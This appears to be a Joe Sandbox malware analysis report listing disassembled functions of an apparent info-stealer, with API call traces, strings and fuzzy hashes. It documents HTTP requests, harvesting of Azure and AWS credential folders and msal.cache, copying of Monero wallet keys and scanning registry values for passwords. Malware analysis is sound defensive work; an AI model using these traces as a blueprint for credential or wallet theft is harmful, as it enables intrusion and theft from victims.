API String ID: 3246050789-3278919252
Opcode ID: eb323fa25a59149fbf8a73868164f773666c83e4d8dd81f5e6731ee762a0a59e
Instruction ID: a23dc0f554f5e50b246cc5a6bdcdc48068ff1a706d56140eceb6b777a9de885b
Opcode Fuzzy Hash: eb323fa25a59149fbf8a73868164f773666c83e4d8dd81f5e6731ee762a0a59e
Instruction Fuzzy Hash: 2181FAB191011CAFDB24DB94CC95FEABBB8FF48704F008699E109A6180DF756B85CFA5

Function 005B6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 005CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005CA7E6

Part of subcall function 005B47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005B4839
Part of subcall function 005B47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 005B4849

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

InternetOpenA.WININET(005D0DFE,00000001,00000000,00000000,00000000), ref: 005B62E1
StrCmpCA.SHLWAPI(?,00C7F900), ref: 005B6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005B6335
HttpOpenRequestA.WININET(00000000,GET,?,00C7EDD0,00000000,00000000,00400100,00000000), ref: 005B6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005B63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005B63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 005B63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 005B646D
InternetCloseHandle.WININET(00000000), ref: 005B64EF
InternetCloseHandle.WININET(00000000), ref: 005B64F9
InternetCloseHandle.WININET(00000000), ref: 005B6503

Strings

ERROR, xrefs: 005B64C9
ERROR, xrefs: 005B6407
GET, xrefs: 005B637C

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 9683115c530e991d64a11e7fdde8ffd5961cd64baba4225085b3e0223924cffa
Instruction ID: 4e59f242f62ccb113980f1943eb6ccfe22483c8e378b15ad3d0c40b5fff0b067
Opcode Fuzzy Hash: 9683115c530e991d64a11e7fdde8ffd5961cd64baba4225085b3e0223924cffa
Instruction Fuzzy Hash: 43713C71A00218AFDF24EBA4DC99FEE7BB4FB44700F108599F1096B190DBB86A85CF51

Function 005C5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 005CA820: lstrlen.KERNEL32(005B4F05,?,?,005B4F05,005D0DDE), ref: 005CA82B
Part of subcall function 005CA820: lstrcpy.KERNEL32(005D0DDE,00000000), ref: 005CA885

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 005C5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005C56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005C5857

Part of subcall function 005CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005CA7E6

Part of subcall function 005C51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005C5228

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

Part of subcall function 005C52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 005C5318
Part of subcall function 005C52C0: lstrlen.KERNEL32(00000000), ref: 005C532F
Part of subcall function 005C52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 005C5364
Part of subcall function 005C52C0: lstrlen.KERNEL32(00000000), ref: 005C5383
Part of subcall function 005C52C0: lstrlen.KERNEL32(00000000), ref: 005C53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 005C578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 005C5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005C5A0C
Sleep.KERNEL32(0000EA60), ref: 005C5A1B

Strings

ERROR, xrefs: 005C5636
ERROR, xrefs: 005C577D
ERROR, xrefs: 005C59FE
ERROR, xrefs: 005C5932
ERROR, xrefs: 005C5693
ERROR, xrefs: 005C5849

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: da8944c025c4080868dc2701aab6de0aad1643ab45c29471004bea0991a13ea6
Instruction ID: ecae3c09d16a33cf362e29a6606beed4f2c3e811a2cbe47177cbd6cc8c4cb8f7
Opcode Fuzzy Hash: da8944c025c4080868dc2701aab6de0aad1643ab45c29471004bea0991a13ea6
Instruction Fuzzy Hash: FDE12B72910109AFCB14FBE0DC9AFFD7F78BB94344F50852CB40666191EE346A49CBA6

Function 005C4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005C8E0B

lstrcat.KERNEL32(?,00000000), ref: 005C4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 005C4DCD

Part of subcall function 005C4910: wsprintfA.USER32 ref: 005C492C
Part of subcall function 005C4910: FindFirstFileA.KERNEL32(?,?), ref: 005C4943

lstrcat.KERNEL32(?,00000000), ref: 005C4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 005C4E59

Part of subcall function 005C4910: StrCmpCA.SHLWAPI(?,005D0FDC), ref: 005C4971
Part of subcall function 005C4910: StrCmpCA.SHLWAPI(?,005D0FE0), ref: 005C4987
Part of subcall function 005C4910: FindNextFileA.KERNEL32(000000FF,?), ref: 005C4B7D
Part of subcall function 005C4910: FindClose.KERNEL32(000000FF), ref: 005C4B92

lstrcat.KERNEL32(?,00000000), ref: 005C4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 005C4EE5

Part of subcall function 005C4910: wsprintfA.USER32 ref: 005C49B0
Part of subcall function 005C4910: StrCmpCA.SHLWAPI(?,005D08D2), ref: 005C49C5
Part of subcall function 005C4910: wsprintfA.USER32 ref: 005C49E2
Part of subcall function 005C4910: PathMatchSpecA.SHLWAPI(?,?), ref: 005C4A1E
Part of subcall function 005C4910: lstrcat.KERNEL32(?,00C7F8D0), ref: 005C4A4A
Part of subcall function 005C4910: lstrcat.KERNEL32(?,005D0FF8), ref: 005C4A5C
Part of subcall function 005C4910: lstrcat.KERNEL32(?,?), ref: 005C4A70
Part of subcall function 005C4910: lstrcat.KERNEL32(?,005D0FFC), ref: 005C4A82
Part of subcall function 005C4910: lstrcat.KERNEL32(?,?), ref: 005C4A96
Part of subcall function 005C4910: CopyFileA.KERNEL32(?,?,00000001), ref: 005C4AAC
Part of subcall function 005C4910: DeleteFileA.KERNEL32(?), ref: 005C4B31

Strings

*.*, xrefs: 005C4DD8
\.IdentityService\, xrefs: 005C4ED9
\.aws\, xrefs: 005C4E4D
msal.cache, xrefs: 005C4EF0
\.azure\, xrefs: 005C4DC1
Azure\.azure, xrefs: 005C4DD3
Azure\.aws, xrefs: 005C4E5F
*.*, xrefs: 005C4E64
Azure\.IdentityService, xrefs: 005C4EEB

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 56f725e0d19ac942423d13c9d0d0c00ce3ab14ba7547352b6d9308550e042f30
Instruction ID: 11639a21911d9ba24617fc380dc3c9d44af4ac3916146eb2b058976a87475f7f
Opcode Fuzzy Hash: 56f725e0d19ac942423d13c9d0d0c00ce3ab14ba7547352b6d9308550e042f30
Instruction Fuzzy Hash: D04193BA9502086BD760F7B0DC4BFED3B38BB64704F404459B149A61C1EEB46BC9CB96

Function 005B1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 005B12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005B12B4
Part of subcall function 005B12A0: RtlAllocateHeap.NTDLL(00000000), ref: 005B12BB
Part of subcall function 005B12A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 005B12D7
Part of subcall function 005B12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 005B12F5
Part of subcall function 005B12A0: RegCloseKey.ADVAPI32(?), ref: 005B12FF

lstrcat.KERNEL32(?,00000000), ref: 005B134F
lstrlen.KERNEL32(?), ref: 005B135C
lstrcat.KERNEL32(?,.keys), ref: 005B1377

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

Part of subcall function 005C8B60: GetSystemTime.KERNEL32(005D0E1A,00C7B5B0,005D05AE,?,?,005B13F9,?,0000001A,005D0E1A,00000000,?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005C8B86

Part of subcall function 005CA920: lstrcpy.KERNEL32(00000000,?), ref: 005CA972
Part of subcall function 005CA920: lstrcat.KERNEL32(00000000), ref: 005CA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 005B1465

Part of subcall function 005CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005CA7E6

Part of subcall function 005B99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005B99EC
Part of subcall function 005B99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005B9A11
Part of subcall function 005B99C0: LocalAlloc.KERNEL32(00000040,?), ref: 005B9A31
Part of subcall function 005B99C0: ReadFile.KERNEL32(000000FF,?,00000000,005B148F,00000000), ref: 005B9A5A
Part of subcall function 005B99C0: LocalFree.KERNEL32(005B148F), ref: 005B9A90
Part of subcall function 005B99C0: CloseHandle.KERNEL32(000000FF), ref: 005B9A9A

DeleteFileA.KERNEL32(00000000), ref: 005B14EF

Strings

.keys, xrefs: 005B136B
SOFTWARE\monero-project\monero-core, xrefs: 005B1335
wallet_path, xrefs: 005B1330
\Monero\wallet.keys, xrefs: 005B138D

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 81645208fa881e92412caace9a6021a5085074407aa74fd70786a4143884b15e
Instruction ID: cf4bc10ed37f4f6a64d05dbaa83766339fbde602aa2ab267012224e9227aaec7
Opcode Fuzzy Hash: 81645208fa881e92412caace9a6021a5085074407aa74fd70786a4143884b15e
Instruction Fuzzy Hash: D65144B1D5011E5BCB15FBA0DC9AFED7B7CBB94304F40419CB60A62081EE746B85CEA6

Function 005C7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 005C7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005C757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 005C7603
RtlAllocateHeap.NTDLL(00000000), ref: 005C760A
wsprintfA.USER32 ref: 005C7640

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Strings

C, xrefs: 005C754C
:, xrefs: 005C755C
\, xrefs: 005C7560
], xrefs: 005C764D, 005C7655, 005C761B, 005C7623

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$]
API String ID: 1544550907-2281219798
Opcode ID: 65cb51cb55010742b8b288987d8c121c51115ca4bfde2755437636708966c2f4
Instruction ID: 1e0a6a2e7a2107be4a778b216358b72d46a621e6f2d980174c5e29f60da67dd8
Opcode Fuzzy Hash: 65cb51cb55010742b8b288987d8c121c51115ca4bfde2755437636708966c2f4
Instruction Fuzzy Hash: 43416EB1904248AFDB10DBD4DC49FEEBBB8FB48704F104199F509A7280DB786A84CFA5

Function 005B75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005B72D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 005B733A
Part of subcall function 005B72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 005B73B1
Part of subcall function 005B72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 005B740D
Part of subcall function 005B72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 005B7452
Part of subcall function 005B72D0: HeapFree.KERNEL32(00000000), ref: 005B7459

lstrcat.KERNEL32(2F38D020,005D17FC), ref: 005B7606
lstrcat.KERNEL32(2F38D020,00000000), ref: 005B7648
lstrcat.KERNEL32(2F38D020, : ), ref: 005B765A
lstrcat.KERNEL32(2F38D020,00000000), ref: 005B768F
lstrcat.KERNEL32(2F38D020,005D1804), ref: 005B76A0
lstrcat.KERNEL32(2F38D020,00000000), ref: 005B76D3
lstrcat.KERNEL32(2F38D020,005D1808), ref: 005B76ED
task.LIBCPMTD ref: 005B76FB

Strings

: , xrefs: 005B764E

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
